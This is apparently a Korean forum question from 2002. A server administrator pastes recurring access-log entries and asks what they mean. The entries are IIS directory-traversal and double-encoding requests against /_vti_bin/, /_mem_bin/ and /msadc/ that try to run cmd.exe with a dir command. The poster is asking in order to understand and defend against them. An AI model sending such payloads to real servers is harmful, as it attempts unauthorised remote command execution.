로그 화일에 아래의 내용이 주기적으로 계속 있거든요 NT 어쩌고 저쩌고
  -----------------------------
211.218.168.118 - - [17/Apr/2002:15:03:25 +0900] "GET /_vti_bin/..%255c../
..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
" 302 286
211.218.168.118 - - [17/Apr/2002:15:03:25 +0900] "GET /_mem_bin/
..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
" 302 286
211.218.168.118 - - [17/Apr/2002:15:03:25 +0900] "GET /msadc/
..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c..
/winnt/syst
em32/cmd.exe?/c+dir HTTP/1.0" 302 286
 이게 뭔가요?